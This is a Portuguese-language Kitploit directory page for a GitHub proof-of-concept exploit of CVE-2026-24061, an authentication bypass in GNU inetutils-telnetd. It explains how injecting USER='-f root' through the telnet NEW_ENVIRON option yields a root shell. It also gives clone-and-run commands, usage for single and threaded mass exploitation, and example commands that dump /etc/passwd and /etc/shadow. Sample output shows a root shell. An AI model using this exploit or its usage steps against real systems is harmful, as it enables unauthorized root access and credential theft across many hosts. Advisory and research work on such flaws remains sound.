Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24061 — Prova de Conceito: CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação no GNU inetutils-telnetd que permite que atacantes remotos não autenticados obtenham acesso instantâneo a um shell root via exploração maliciosa da opção telnet NEW_ENVIRON. | Kitploit
Ferramentas/GitHubGitHub/sh4den/cve-2026-24061
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoSegurança de RedeTestes de PenetraçãoComando e ControleAutenticaçãoPapers e PesquisaAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHub
6125há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
sh4den/cve-2026-24061

CVE-2026-24061

Prova de Conceito: CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação no GNU inetutils-telnetd que permite que atacantes remotos não autenticados obtenham acesso instantâneo a um shell root via exploração maliciosa da opção telnet NEW_ENVIRON.

Ver Repositório

CVE-2026-24061

GNU inetutils-telnetd - Bypass de Autenticação Remota

Uma ferramenta de pesquisa de segurança para explorar a CVE-2026-24061, uma vulnerabilidade crítica de bypass de autenticação remota no GNU inetutils-telnetd que permite acesso instantâneo a shell root sem autenticação.


Índice

  • Resumo da Vulnerabilidade
  • Versões Afetadas
  • Análise Técnica
  • Pré-requisitos
  • Instalação
  • Uso
  • Referência de Saída
  • Metodologia de Exploração
  • Mitigação e Remediação
  • Indicadores de Comprometimento
  • Aviso Legal
  • Referências
  • Créditos

Resumo da Vulnerabilidade

CampoValor
Identificador CVECVE-2026-24061
Pontuação CVSS v3.19.8 (Crítica)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Classificação CWECWE-88: Neutralização Incorreta de Delimitadores de Argumento em um Comando
FornecedorGNU Project
Produtoinetutils-telnetd
Data de Divulgação20 de janeiro de 2026
Patch DisponívelTBD

Resumo Executivo

Existe uma vulnerabilidade crítica no GNU inetutils-telnetd até a versão 2.7 que permite que atacantes remotos não autenticados ignorem totalmente a autenticação e obtenham acesso imediato a shell root. A vulnerabilidade é explorada por meio da opção telnet NEW_ENVIRON, injetando uma variável de ambiente USER especialmente elaborada com o valor "-f root", que contorna todos os mecanismos de autenticação.

Avaliação de Impacto

  • Confidencialidade: Comprometimento total dos dados do sistema
  • Integridade: Controle total do sistema com privilégios de root
  • Disponibilidade: Potencial para assumir totalmente o sistema ou causar negação de serviço
  • Escopo: Inalterado - a exploração afeta apenas o serviço telnet vulnerável

Versões Afetadas

Faixa de VersõesStatus
<= 2.7Vulnerável
> 2.7Status do Patch TBD

Análise Técnica

Causa Raiz da Vulnerabilidade

A vulnerabilidade origina-se da validação incorreta da variável de ambiente USER no manipulador da opção NEW_ENVIRON do telnetd. Ao processar a opção telnet NEW_ENVIRON, o serviço telnetd não sanitiza o valor da variável USER antes de passá-lo ao processo de login. Ao definir USER como "-f root", o atacante injeta argumentos de linha de comando que forçam a autenticação a ser bem-sucedida para o usuário root sem exigir credenciais.

Vetor de Ataque

  1. O atacante conecta-se ao serviço telnetd (geralmente porta 23)
  2. Durante a negociação de opções telnet, o servidor solicita dados NEW_ENVIRON
  3. O atacante responde com a variável de ambiente USER definida como "-f root"
  4. O argumento malicioso contorna as verificações de autenticação
  5. Uma shell root instantânea é concedida sem qualquer solicitação de senha
  6. O comprometimento total do sistema é alcançado

Complexidade de Exploração

  • Pré-requisitos: Acesso de rede ao serviço telnetd alvo
  • Autenticação: Não necessária
  • Interação do Usuário: Nenhuma
  • Complexidade do Ataque: Baixa

Pré-requisitos

Requisitos do Sistema

  • Python 3.7 ou superior
  • Conectividade de rede com a(s) instância(s) telnetd alvo
  • Permissões suficientes para executar scripts Python

Dependências

Todas as dependências fazem parte da biblioteca padrão do Python:

PacoteFinalidade
socketComunicação de rede
selectMultiplexação de E/S
sysInteração com o sistema
osInterface com o sistema operacional
threadingExploração concorrente de alvos
datetimeFormatação de carimbos de data/hora

Instalação

Método 1: Usando Git

# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# Run the exploit
python3 main.py -u <target_ip>

Método 2: Download Direto

# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Make it executable (Linux/macOS)
chmod +x main.py

# Run the exploit
python3 main.py -u <target_ip>

Método 3: Instalação Manual

# Ensure Python 3.7+ is installed
python3 --version

# Download and run
python3 main.py -u <target_ip>

Uso

Interface de Linha de Comando

Usage:
    python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
    python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
    echo "commands" | python3 main.py -u <target_ip>

Arguments:
    -u          Single target IP address or hostname
    -l          Path to file containing target IPs (one per line)
    -p          Target port (default: 23)
    -usr        User to exploit as (default: root)

Exploração de Alvo Único

Explore uma única instância telnetd:

# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100

# Custom port
python3 main.py -u 192.168.1.100 -p 2323

# Different user
python3 main.py -u 192.168.1.100 -usr admin

Modo de Execução de Comandos

Execute comandos de forma não interativa:

# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

Exploração em Massa de Alvos

Explore vários alvos a partir de um arquivo:

python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin

Formato do Arquivo de Alvos (targets.txt):

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

Notas:

  • Um alvo por linha
  • Endereços IP ou hostnames
  • Linhas vazias são ignoradas
  • Os alvos são explorados simultaneamente usando threading

Referência de Saída

Indicadores de Status

IndicadorCorDescrição
[SUCCESS]VerdeConectado ao alvo com sucesso
[EXPLOIT]VerdePayload de exploração enviado com sucesso
[INFO]AzulMensagem informativa sobre a operação atual
[ERROR]VermelhoFalha de conexão, timeout ou erro de exploração
[WARNING]AmareloMensagem de aviso (atualmente não utilizada)

Exemplo de Saída

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Metodologia de Exploração

Processo de Negociação do Protocolo Telnet

O exploit aproveita a fase de negociação do protocolo telnet:

Baixar ferramenta